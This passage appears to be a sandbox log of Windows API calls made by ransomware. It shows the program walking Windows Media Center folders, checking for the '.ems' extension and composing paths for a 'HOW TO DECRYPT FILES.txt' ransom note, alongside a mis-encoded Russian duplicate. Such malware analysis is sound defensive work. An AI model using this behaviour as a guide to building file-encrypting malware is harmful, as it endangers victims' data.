returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2cb1" [0127.141] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2cb1", pszSpec="*.ems") returned 0 [0127.141] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.141] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2cb2") returned 1 [0127.141] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2cb2") returned 1 [0127.141] lstrcmpiA (lpString1="", lpString2="2cb2") returned -1 [0127.141] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2cb1") returned="2cb1" [0127.141] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.141] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.141] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.142] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.142] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="2cb2" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2cb2") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2cb2" [0127.142] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2cb2", pszSpec="*.ems") returned 0 [0127.142] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.142] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2th0") returned 1 [0127.142] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2th0") returned 1 [0127.142] lstrcmpiA (lpString1="", lpString2="2th0") returned -1 [0127.142] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2cb2") returned="2cb2" [0127.142] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.143] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.143] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.143] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.143] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="2th0" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2th0") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2th0" [0127.143] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2th0", pszSpec="*.ems") returned 0 [0127.143] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.143] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2th1") returned 1 [0127.143] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2th1") returned 1 [0127.143] lstrcmpiA (lpString1="", lpString2="2th1") returned -1 [0127.143] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2th0") returned="2th0" [0127.143] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.143] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.143] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.143] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.144] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="2th1" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2th1") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2th1" [0127.144] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2th1", pszSpec="*.ems") returned 0 [0127.144] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.144] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="2th2") returned 1 [0127.144] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="2th2") returned 1 [0127.144] lstrcmpiA (lpString1="", lpString2="2th2") returned -1 [0127.144] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2th1") returned="2th1" [0127.144] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.144] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.144] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.144] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.144] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="2th2" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2th2") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2th2" [0127.145] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2th2", pszSpec="*.ems") returned 0 [0127.145] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.145] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="absthr_0") returned 1 [0127.145] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="absthr_0") returned 1 [0127.145] lstrcmpiA (lpString1="", lpString2="absthr_0") returned -1 [0127.145] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\2th2") returned="2th2" [0127.145] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.145] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.145] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.145] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.145] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="absthr_0" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\absthr_0") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\absthr_0" [0127.145] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\absthr_0", pszSpec="*.ems") returned 0 [0127.145] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.145] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="absthr_1") returned 1 [0127.146] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="absthr_1") returned 1 [0127.146] lstrcmpiA (lpString1="", lpString2="absthr_1") returned -1 [0127.146] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\absthr_0") returned="absthr_0" [0127.146] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.146] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.146] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.146] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.146] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="absthr_1" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\absthr_1") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\absthr_1" [0127.146] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\absthr_1", pszSpec="*.ems") returned 0 [0127.146] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.146] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="absthr_2") returned 1 [0127.146] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="absthr_2") returned 1 [0127.146] lstrcmpiA (lpString1="", lpString2="absthr_2") returned -1 [0127.146] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\absthr_1") returned="absthr_1" [0127.146] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.146] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.146] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.147] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.147] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="absthr_2" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\absthr_2") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\absthr_2" [0127.147] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\absthr_2", pszSpec="*.ems") returned 0 [0127.147] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.147] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="alloc_0") returned 1 [0127.147] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="alloc_0") returned 1 [0127.147] lstrcmpiA (lpString1="", lpString2="alloc_0") returned -1 [0127.147] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\absthr_2") returned="absthr_2" [0127.147] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.147] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.147] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.147] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.147] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="alloc_0" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_0") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_0" [0127.147] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_0", pszSpec="*.ems") returned 0 [0127.148] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.148] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="alloc_1") returned 1 [0127.148] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="alloc_1") returned 1 [0127.148] lstrcmpiA (lpString1="", lpString2="alloc_1") returned -1 [0127.148] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_0") returned="alloc_0" [0127.148] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.148] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.148] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.148] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.148] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="alloc_1" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_1") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_1" [0127.148] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_1", pszSpec="*.ems") returned 0 [0127.148] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.148] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="alloc_2") returned 1 [0127.148] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="alloc_2") returned 1 [0127.149] lstrcmpiA (lpString1="", lpString2="alloc_2") returned -1 [0127.149] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_1") returned="alloc_1" [0127.149] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.149] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.149] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.149] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.149] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="alloc_2" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_2") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_2" [0127.149] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_2", pszSpec="*.ems") returned 0 [0127.149] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.149] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="alloc_3") returned 1 [0127.149] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="alloc_3") returned 1 [0127.149] lstrcmpiA (lpString1="", lpString2="alloc_3") returned -1 [0127.149] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_2") returned="alloc_2" [0127.149] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.150] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.150] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.150] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.150] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="alloc_3" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_3") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_3" [0127.150] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_3", pszSpec="*.ems") returned 0 [0127.150] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.150] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="dewindow") returned 1 [0127.150] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="dewindow") returned 1 [0127.150] lstrcmpiA (lpString1="", lpString2="dewindow") returned -1 [0127.150] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\alloc_3") returned="alloc_3" [0127.150] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.150] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.150] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.151] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.151] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="dewindow" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\dewindow") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\dewindow" [0127.151] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\dewindow", pszSpec="*.ems") returned 0 [0127.151] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.151] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="enwindow") returned -1 [0127.151] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="enwindow") returned 1 [0127.151] lstrcmpiA (lpString1="", lpString2="enwindow") returned -1 [0127.151] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\dewindow") returned="dewindow" [0127.151] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" [0127.151] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\") returned="" [0127.151] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" [0127.151] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\components\\tables\\how to decrypt files.txt")) returned 0x20 [0127.151] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\", lpString2="enwindow" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\enwindow") returned="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\enwindow" [0127.152] PathMatchSpecA (pszFile="C:\\Windows\\ehome\\CreateDisc\\Components\\tables\\enwindow", pszSpec="*.ems") returned 0 [0127.152] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.152] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CreateDisc.dll") returned 1 [0127.152] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CreateDisc.dll") returned 1 [0127.152] lstrcmpiA (lpString1="", lpString2="CreateDisc.dll") returned -1 [0127.152] PathFindFileNameA (pszPath="C:\\Windows\\ehome\\CreateDisc\\*.*") returned="*.*" [0127.152] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\ehome\\CreateDisc\\" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\") returned="C:\\Windows\\ehome\\CreateDisc\\" [0127.152] PathAddBackslashA (in: pszPath="C:\\Windows\\ehome\\CreateDisc\\" | out: pszPath="C:\\Windows\\ehome\\CreateDisc\\") returned="" [0127.152] lstrcatA (in: lpString1="C:\\Windows\\ehome\\CreateDisc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt" [0127.152] GetFileAttributesA (lpFileName="C:\\Windows\\ehome\\CreateDisc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\ehome\\createdisc\\how to decrypt 